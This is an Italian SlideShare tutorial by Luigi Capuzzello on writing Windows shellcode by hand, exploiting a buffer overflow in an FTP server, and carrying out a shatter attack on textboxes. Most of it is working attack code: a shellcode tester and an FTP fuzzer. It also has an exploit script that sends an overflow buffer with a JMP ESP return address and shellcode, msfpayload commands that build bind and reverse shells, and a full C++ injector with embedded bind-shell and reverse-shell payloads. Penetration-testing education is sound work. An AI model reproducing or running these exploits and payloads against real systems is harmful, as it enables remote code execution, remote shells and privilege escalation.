Buffer Overflow - Shellcode - Shatter Attack

665 views
582 views

Published on

Il documento si rivolge a chi ha già buone conoscenze relative alle tecniche con cui si realizza un buffer overflow e spiega più in dettaglio come realizzare shellcode e lo shatter attack.

Published in: Technology
0 Comments
1 Like
Statistics
Notes
  • Be the first to comment

No Downloads
Views
Total views
665
On SlideShare
0
From Embeds
0
Number of Embeds
1
Actions
Shares
0
Downloads
12
Comments
0
Likes
1
Embeds 0
No embeds

No notes for slide

Buffer Overflow - Shellcode - Shatter Attack

  1. 1. LUIGI CAPUZZELLO Buffer Overflow Shellcode Shatter Attack Capire, testare, realizzare Versione: 1.0 Luigi Capuzzello 19/12/2013 http://www.linkedin.com/pub/luigi-capuzzello/7/561/12a http://www.slideshare.net/luigicapuzzello @FisherKasparov luigi.capuzzello Il documento si rivolge a chi ha già buone conoscenze relative alle tecniche con cui si realizza un buffer overflow e spiega più in dettaglio come realizzare shellcode e lo shatter attack .
  2. 2. 1. Creare uno Shellcode manualmente2 Sommario 1. Creare uno Shellcode manualmente ................................................................................................3 1. Creazione della Shell in C........................................................................................................3 2. Creazione della Shell in __asm................................................................................................4 3. Eliminazione degli opcode ‘00’................................................................................................5 4. Selezione degli opcode necessaria alla creazione della Shell...................................................5 5. Testare la sequenza di Opcode.................................................................................................5 2. Bufffer Overlow Exploitation..........................................................................................................6 3. Shatter Attack...................................................................................................................................9 ...........................................................................................................................................................11 Luigi Capuzzello
  3. 3. 1. Creare uno Shellcode manualmente3 1. Creare uno Shellcode manualmente Lo strumento principe per generare shellcode è e rimane metasploit. Lo scopo di questo paragrafo è semplicemente quello di far toccare con mano cosa sia una shellcode e di che significato abbiano tutti i byte che essa contiene. Per ottenere questo risultato credo che la cosa più utile sia quella di creare uno shellcode manualmente. Per prima cosa bisogna creare in C la Shell che vogliamo utilizzare. Per realizzarla posso usare, ad esempio, Visual C++ 6.0. Quindi: • Creo un nuovo progetto di tipo Win32 Console Application; • Gli do un nome; • Seleziono ‘a simple application’; • A questo punto in Source File trovo il file <nome progetto>.cpp; questo file è quello da usare per partire. 1. Creazione della Shell in C Per iniziare posso creare una shell che apra una finestra DOS: #include "stdafx.h" #include "Windows.h" #include "stdlib.h" void main() { //Fase I: programma in C per fare la Shell char var[4]; var[0]='c'; var[1]='m'; var[2]='d'; var[3]='0'; } WinExec(var,1); ExitProcess(1); Luigi Capuzzello
  4. 4. 1. Creare uno Shellcode manualmente4 2. Creazione della Shell in __asm A questo punto se debuggando la Shell funziona posso passare alla creazione del codice ASM da inserire direttamente nel progetto. Per trovare il codice ASM basta: • Debuggare il progetto C con F10; • Una volta entrato nel Main() che è la funzione che contiene il mio codice premendo ALT+8 passo a visualizzare l’assembly; • Del codice assembly che mi viene mostrato tengo solamente quello che mi serve (tolgo prologo ed epilogo); • Per conoscere l’indirizzo in memoria delle funzioni utilizzate (WinExec e ExitProcess) posso usare PEditor e cercare dentro a Kernel32.dll le due funzioni esportate. A questo punto sommo l’ImageBase di Kernel32.dll con l’indirizzo delle funzioni e ottengo: // PromptDOS.cpp : Defines the entry point for the console application. // #include "stdafx.h" #include "Windows.h" #include "stdlib.h" void main() { __asm{ mov mov mov mov byte byte byte byte ptr ptr ptr ptr [ebp-4],63h [ebp-3],6Dh [ebp-2],64h [ebp-1],0 // // // // c m d 0 //WinExec: Ricavo l'indirizzo con PEditor mov esi,esp push 1 lea eax,[ebp-4] push eax mov eax,0x7C86114D call eax //ExitProcess: Ricavo l'inidirzzo con PEditor push 1 mov eax,0x7C81CAA2 call eax } } Luigi Capuzzello
  5. 5. 1. Creare uno Shellcode manualmente5 3. Eliminazione degli opcode ‘00’ Devo eliminarli altrimenti nella stringa che vado ad iniettare vengono visti come fine stringa e il resto della stringa viene scartata. Nel nostro caso il carattere nullo è dato da: mov byte ptr [ebp-1],0 // 0 posso però ovviare in molti modi ad esempio con le istruzioni: xor mov eax,eax //Azzero eax byte ptr [ebp-1],al 4. Selezione degli opcode necessaria alla creazione della Shell A questo punto posso selezionare gli opcode da iniettare nel programma di prova. Per ricavare l’elenco degli opcode basta: • Debuggare il programma con F10; • Una volta entrato nel Main() che è la funzione che contiene il mio codice premendo ALT+8 passo a visualizzare l’assembly; • Con il tasto destro del mouse seleziono la voce ‘Code Bytes’ e mi appaiono i ByteCode; • A questo punto posso creare l’array dei bytecode necessari a generare la Shell; char ShellCode[] = "xC6x45xFCx63xC6x45xFDx6DxC6x45xFEx64x33xC0x88x45xFFx8BxF4x6Ax01x8Dx45xFCx50x B8x4Dx11x86x7CxFFxD0x6Ax01xB8xA2xCAx81x7CxFFxD0"; 5. Testare la sequenza di Opcode Per testare se la sequenza di Opcode funziona correttamente posso usare un semplice programma di Test come questo: #include "windows.h" char shellcode[]="xC6x45xFCx63xC6x45xFDx6DxC6x45xFEx64x33xC0x88x45xFFx8BxF4x6Ax01x8Dx4 5xFCx50xB8x4Dx11x86x7CxFFxD0x6Ax01xB8xA2xCAx81x7CxFFxD0"; void (*opcode)(); void main() { opcode = (void(__cdecl *)(void))&shellcode; opcode(); } Luigi Capuzzello
  6. 6. 1. Creare uno Shellcode manualmente6 2. Bufffer Overlow Exploitation. La distro utilizzata per effettuare questo esperimento è back-track 4.0; tutti i percorsi e i programmi indicati, a parte gli script qui sotto riportati, possono essere trovati all’interno di back-track. Per scoprire un buffer overflow (ad esempio su un server FTP) posso usare uno script python come quello che segue. #!/usr/bin/python import socket # Create an array of buffers, from 20 to 2000, with increments of 20. buffer=["A"] counter=20 while len(buffer) <= 30: buffer.append("A"*counter) counter=counter+100 # Define the FTP commands to be fuzzed commands=["MKD","CWD","STOR"] # Run the fuzzing loop for command in commands: for string in buffer: print "Fuzzing " + command + " with length:" +str(len(string)) s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) connect=s.connect(('192.168.244.129',21)) # hardcoded IP address s.recv(1024) s.send('USER ftprn') # login procedure s.recv(1024) s.send('PASS ftprn') s.recv(1024) s.send(command + ' ' + string + 'rn') # evil buffer s.recv(1024) s.send('QUITrn') s.close() Nel caso specifico, il server FTP testato presenta un buffer overflow. Trovo un buffer overflow se invio circo 2000 caratteri. Ora anziché inviare 2000 caratteri di tipo ‘A’ ne creo 2000 a caso con: root@bt:~# cd /pentest/exploits/framework3/ bt framework3 # cd tools/ bt tools # ./pattern_create.rb 2000 fatto il crash guardo con Olly cosa ho nel registro EIP (es. trovo i byte ‘72426655’). per sapere in che posizione si trova quella stringa (all’interno di quella generata casualmente) uso: bt tools # ./pattern_offset.rb 72426655 966 Poi guardo cosa ho nel registro ESP (es. trovo che i primi 4 byte sono ‘98AB’) bt tools # ./pattern_offset.rb 98AB 986 Quindi ricavo che: 1. alla posizione 966 ho EIP 2. 16 (= 20 - 4) byte dopo ho ESP la stringa è alla 966 posizione. Quindi modifico il mio script: #!/usr/bin/python import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) buffer = 'x41' * 966 + 'x42' * 4 + 'x43' * 1030 print "nSending evil buffer..." s.connect(('192.168.103.128',21)) data = s.recv(1024) s.send('USER ftp' +'rn') data = s.recv(1024) Luigi Capuzzello
  7. 7. 1. Creare uno Shellcode manualmente7 s.send('PASS ftp' +'rn') data = s.recv(1024) s.send('STOR ' +buffer+'rn') s.close() i 4 byte trovati alla posizione 966 devono diventare un verso una zona di memoria cha abbia sufficiente spazio per contenere una shellcode (generalmente 400/5000 byte). Posso guardare i registri ad esempio ESP o EBP. Supponiamo che facendo un ‘JMP ESP’ io trovo sufficiente spazio. Visto che in EIP posso mettere solo un indirizzo; allora ci metto l’indirizzo di una istruzione in user32.dll che fa proprio il ‘JMP ESP’. Quindi con Olly: 3. Executable modules: doppio click su user32.dll 4. Search for | command: jmp esp #!/usr/bin/python import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) ret = "x29x4cxe1x77" # 77E14C29 JMP ESP USER32.dll buffer = 'x41' * 966 + ret + 'x90' * 16 + 'xCC' *1014 print "nSending evil buffer..." s.connect(('192.168.103.128',21)) data = s.recv(1024) s.send('USER ftp' +'rn') data = s.recv(1024) s.send('PASS ftp' +'rn') data = s.recv(1024) s.send('STOR ' +buffer+'rn') s.close() Nota Bene: 5. Ho inserito l’IP all’istruzione che fa il JMP ESP in user32.dll 6. Ho inserito 16 NOP 7. Ho inserito 1024 xCC che sono degli interrupt Creo la shell: bt framework3 # ./msfpayload windows/shell_bind_tcp O bt framework3 # ./msfpayload windows/shell_bind_tcp C oppure bt framework3 # ./msfpayload windows/shell_bind_tcp LHOST=192.168.11.140 C oppure faccio partire Metasploit Framework Web interface e tra i payload seleziono ‘windows bind shell’ A questo punto devo: 8. Aggiungere ‘x90’*16 alla shell ottenuta 9. Per avere un payload (senza caratteri strani) da riga di commando devo digitare: #./msfpayload windows/shell/reverse_tcp LHOST=192.168.230.130 LPORT=4321 EXITFNUC=seh r | ./msfencode -b 'x00x0d' -t c cambio il mio programma con la shell ottenuta: #!/usr/bin/python import socket shellcode =("xfcx6axebx4dxe8xf9xffxffxffx60x8bx6cx24x24x8b" "x45x3cx8bx7cx05x78x01xefx8bx4fx18x8bx5fx20x01" .. .. "xc4x64xffxd6x52xffxd0x68xf0x8ax04x5fx53xffxd6" "xffxd0") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) ret = "x29x4cxe1x77" # 77E14C29 JMP ESP USER32.dll buffer = 'x41' * 966 + ret + 'x90' * 16 + shellcode print "nSending evil buffer..." s.connect(('192.168.103.128',21)) data = s.recv(1024) s.send('USER ftp' +'rn') data = s.recv(1024) s.send('PASS ftp' +'rn') data = s.recv(1024) Luigi Capuzzello
  8. 8. 1. Creare uno Shellcode manualmente8 s.send('STOR ' +buffer+'rn') s.close() Luigi Capuzzello
  9. 9. 1. Creare uno Shellcode manualmente9 3. Shatter Attack Per chi non lo conoscesse ancora, questo tipo di attacco consente di iniettare ed eseguire in una qualsiasi textbox uno shellcode. Esistono shatter attack anche sulle ListBox e sulle barre di scorrimento, ma in questo caso mi occuperò esclusivamente delle textbox cercando di descrivere concretamente come realizzare questo tipo di attacco.. Per eseguire l’attacco è necessario: 1. Identificare l’applicazione che ha la textbox e che possibilmente giri con i diritti di amministrazione 2. Identificare con OllyDbg: a. la classe della finestra top che contiene la textbox b. la classe della textbox c. il Title della finestra top. Per farlo è necessario fare l’Attach di Olly al processo che stiamo analizzando e guardare la sezione Windows. 3. Selezionare da Metasploit la shellcode che si vuole iniettare e inserirla nel programma ShatterTextBox 4. Eseguire il programma ShatterTextBox.exe <classe FinestraTop> <classe TextBox> <Title finestraTop> 5. Utilizzare OllyDbg (sempre in Attach al processo che stiamo analizzando) per cercare l’indirizzo di memoria in cui è stato iniettato la shellcode. Per farlo devo cercare la firma dok72 6. Inserire l’indirizzo quando ShatterTextBox ce lo chiede Di seguito il codice del programma ShatterTextBox.cpp #include #include #include #include <windows.h> <stdio.h> <iostream.h> <string.h> using namespace std; //OK !!! //cmd.exe /c calc.exe - (metasploit - process) /*unsigned char scode[] = "dok72" "x90x90x90x90x90x90x90x90x90x90x90x90" "x31xc9x83xe9xdaxd9xeexd9x74x24xf4x5bx81x73x13x8c" "x8exbbx31x83xebxfcxe2xf4x70x66xffx31x8cx8ex30x74" "xb0x05xc7x34xf4x8fx54xbaxc3x96x30x6exacx8fx50x78" "x07xbax30x30x62xbfx7bxa8x20x0ax7bx45x8bx4fx71x3c" "x8dx4cx50xc5xb7xdax9fx35xf9x6bx30x6exa8x8fx50x57" "x07x82xf0xbaxd3x92xbaxdax07x92x30x30x67x07xe7x15" "x88x4dx8axf1xe8x05xfbx01x09x4exc3x3dx07xcexb7xba" "xfcx92x16xbaxe4x86x50x38x07x0ex0bx31x8cx8ex30x59" "xb0xd1x8axc7xecxd8x32xc9x0fx4exc0x61xe4xf0x63xd3" "xffxe6x23xcfx06x80xecxcex6bxedxd6x55xa2xebxc3x54" "xacxa1xd8x11xefxefxd7x52xa2xebxc3x54x8cx8exbbx31"; */ //OK!!! //shell in ascolto su porta 12345 - (metasploit - process) unsigned char scode[] = "dok72" "x90x90x90x90x90x90x90x90x90x90x90x90" "x2bxc9x83xe9xb0xd9xeexd9x74x24xf4x5bx81x73x13x8f" "xa0x54xb0x83xebxfcxe2xf4x73xcaxbfxfdx67x59xabx4f" "x70xc0xdfxdcxabx84xdfxf5xb3x2bx28xb5xf7xa1xbbx3b" "xc0xb8xdfxefxafxa1xbfxf9x04x94xdfxb1x61x91x94x29" "x23x24x94xc4x88x61x9exbdx8ex62xbfx44xb4xf4x70x98" "xfax45xdfxefxabxa1xbfxd6x04xacx1fx3bxd0xbcx55x5b" "x8cx8cxdfx39xe3x84x48xd1x4cx91x8fxd4x04xe3x64x3b" "xcfxacxdfxc0x93x0dxdfxf0x87xfex3cx3exc1xaexb8xe0" "x70x76x32xe3xe9xc8x67x82xe7xd7x27x82xd0xf4xabx60" Luigi Capuzzello
  10. 10. 1. Creare uno Shellcode manualmente10 "xe7x6bxb9x4cxb4xf0xabx66xd0x29xb1xd6x0ex4dx5cxb2" "xdaxcax56x4fx5fxc8x8dxb9x7ax0dx03x4fx59xf3x07xe3" "xdcxf3x17xe3xccxf3xabx60xe9xc8x64x89xe9xf3xddx51" "x1axc8xf0xaaxffx67x03x4fx59xcax44xe1xdax5fx84xd8" "x2bx0dx7ax59xd8x5fx82xe3xdax5fx84xd8x6axe9xd2xf9" "xd8x5fx82xe0xdbxf4x01x4fx5fx33x3cx57xf6x66x2dxe7" "x70x76x01x4fx5fxc6x3exd4xe9xc8x37xddx06x45x3exe0" "xd6x89x98x39x68xcax10x39x6dx91x94x43x25x5ex16x9d" "x71xe2x78x23x02xdax6cx1bx24x0bx3cxc2x71x13x42x4f" "xfaxe4xabx66xd4xf7x06xe1xdexf1x3exb1xdexf1x01xe1" "x70x70x3cx1dx56xa5x9axe3x70x76x3ex4fx70x97xabx60" "x04xf7xa8x33x4bxc4xabx66xddx5fx84xd8xf1x78xb6xc3" "xdcx5fx82x4fx5fxa0x54xb0"; /* //OK !!!! //shell si collega a 192.168.110.207 porta 12345 - (metasploit - process) unsigned char scode[] = "dok72" "x90x90x90x90x90x90x90x90x90x90x90x90" "x31xc9x83xe9xb8xd9xeexd9x74x24xf4x5bx81x73x13x8f" "xb5x16xbbx83xebxfcxe2xf4x73xdfxfdxf6x67x4cxe9x44" "x70xd5x9dxd7xabx91x9dxfexb3x3ex6axbexf7xb4xf9x30" "xc0xadx9dxe4xafxb4xfdxf2x04x81x9dxbax61x84xd6x22" "x23x31xd6xcfx88x74xdcxb6x8ex77xfdx4fxb4xe1x32x93" "xfax50x9dxe4xabxb4xfdxddx04xb9x5dx30xd0xa9x17x50" "x8cx99x9dx32xe3x91x0axdax4cx84xcdxdfx04xf6x26x30" "xcfxb9x9dxcbx93x18x9dxfbx87xebx7ex35xc1xbbxfaxeb" "x70x63x70xe8xe9xddx25x89xe7xc2x65x89xd0xe1xe9x6b" "xe7x7exfbx47xb4xe5xe9x6dxd0x3cxf3xddx0ex58x1exb9" "xdaxdfx14x44x5fxddxcfxb2x7ax18x41x44x59xe6x45xe8" "xdcxf6x45xf8xdcx4axc6xd3x4fx1dx78x74xe9xddx26x82" "xe9xe6x9fx5ax1axddxfax42x25xd5x41x44x59xdfx06xea" "xdax4axc6xddxe5xd1x70xd3xecxd8x7cxebxd6x9cxdax32" "x68xdfx52x32x6dx84xd6x48x25x20x9fx46x71xf7x3bx45" "xcdx99x9bxc1xb7x1exbdx10xe7xc7xe8x08x99x4ax63x93" "x70x63x4dxecxddxe4x47xeaxe5xb4x47xeaxdaxe4xe9x6b" "xe7x18xcfxbex41xe6xe9x6dxe5x4axe9x8cx70x65x7ex5c" "xf6x73x6fx44xfaxb1xe9x6dx70xc2xeax44x5fxddx68x63" "x6dxc6x45x44x59x4axc6xbb"; */ int main(int argc, char* argv[]) { HANDLE parentWnd; HANDLE childWnd; LONG scaddr; char *hFinestraTop; char *hTextBox; char *hTitleFinestraTop; char *buf; //printf("%d",argc); if(argc < 3) { cout << "" << endl; cout << "Eseguire salvemondo.exe <Class della finestra Top> <Class della Textbox> [<Title della finestra Top>]" << endl; cout << "" << endl; cout << "Il progetto inietta una shellcode nella textbox di un programma" << endl; cout << "- Attach OllyDbg al processo in esecuzione per trovare i nomi delle classi" << endl; cout << "- OllyDbg per trovare in memoria il tracciante <dok72> cui segue la shellcode" << endl; exit(0); } //Prelevo il nome della finestra Top (es. ThunderRT6FormDC) //e della Textbox (es. ThunderRT6TextBox) hFinestraTop=argv[1]; hTextBox=argv[2]; if (argc>3) { //Mi viene passato anche il Title della finsetra top Luigi Capuzzello
  11. 11. 1. Creare uno Shellcode manualmente11 hTitleFinestraTop=argv[3]; } else { hTitleFinestraTop=NULL; } //Prelevo la top-level window parentWnd=FindWindow(hFinestraTop,hTitleFinestraTop); if (parentWnd == NULL) { printf("Non trovo la top-level window (%s)nn",hFinestraTop); system("PAUSE"); return 1; } printf("...trovato handler della finestra top: %xn",parentWnd); //Prelevo la finestra (textbox) in cui iniettare il codice childWnd=FindWindowEx((HWND__*)parentWnd,NULL,hTextBox,NULL); if (childWnd == NULL) { printf("Non trovo la textbox (%s) in cui iniettare il codice ....nn",hTextBox); system("PAUSE"); return 1; } printf("...trovato handler della Textbox: %xn",childWnd); //Abilito la TextBox if (SendMessage((HWND__*)childWnd,EM_SETREADONLY,FALSE,0)==0){ printf("Non riesco a inviare alla textbox il messaggio READONLY=FALSEnn"); system("PAUSE"); return 1; } buf= (char *) malloc ((size_t)strlen((const char *)scode)+1024*1024+1); buf= (char *) memset(buf,0x90,1024*1024); strcat(buf,(const char *)scode); buf[strlen((const char *)scode)+1024*1024]=0; //Aumento il numero di caratteri digitabili nella textbox SendMessage((HWND__*)childWnd,EM_SETLIMITTEXT,sizeof(scode)+1024*1024+1,0); //Salvo la shellcode nel controllo if (!SendMessage((HWND__*)childWnd,WM_SETTEXT,0,(LPARAM)buf)){ printf("Non riesco a iniettare la shellcodenn"); system("PAUSE"); return 1; } printf("nInserisci l'address della shellcode iniettata (usa OllyDbg) (es. 0x0014E360)...n"); scanf("%x",&scaddr); //La funzione per l'impaginazione diventa la nostra printf("nModifico l'indirizzo della funzione che effettua l'impaginazionen"); SendMessage((HWND__*)childWnd,EM_SETWORDBREAKPROC,0L,scaddr); //Eseguo la mia funzione... printf("nEseguo la shellcoden"); SendMessage((HWND__*)childWnd,WM_LBUTTONDBLCLK,MK_LBUTTON,(LPARAM)0x000a000a); } return 0; Luigi Capuzzello

×